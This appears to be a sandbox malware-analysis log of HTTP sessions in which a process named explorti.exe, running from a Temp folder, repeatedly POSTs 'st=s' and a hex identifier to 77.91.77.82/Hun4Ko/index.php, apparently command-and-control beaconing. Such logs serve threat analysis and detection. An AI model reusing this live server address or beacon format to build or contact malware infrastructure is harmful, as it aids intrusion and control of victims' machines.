Jun 28, 2024 13:37:06.591536045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49761	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:06.713531017 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:07.626590967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:07.628618002 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:07.629137993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:07.846540928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49762	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:07.963551998 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:08.636971951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:08.637677908 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:08.852714062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49763	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:08.963337898 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:09.712565899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:09.713306904 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:10.019875050 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:10.084813118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:10.085067034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:10.301548004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49764	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:10.416687965 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:11.114520073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:11.115274906 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:11.501043081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49765	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:11.621277094 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:12.294445038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:12.295160055 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:12.508908033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49766	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:12.820014000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:13.496257067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:13.496949911 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:13.710227013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49767	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:14.163049936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:15.120867014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:15.121949911 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:15.339662075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49768	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:15.464565992 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:16.160012960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:16.160933018 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:16.380527020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49769	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:16.496436119 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:17.751351118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:17.752623081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:17.755326033 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:17.971632957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49770	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:18.095860004 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:18.764816999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:18.766835928 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:18.979804039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49771	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:19.092152119 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:19.758903027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:19.762103081 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:19.973608971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49773	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:20.089062929 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:20.774816036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49774	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
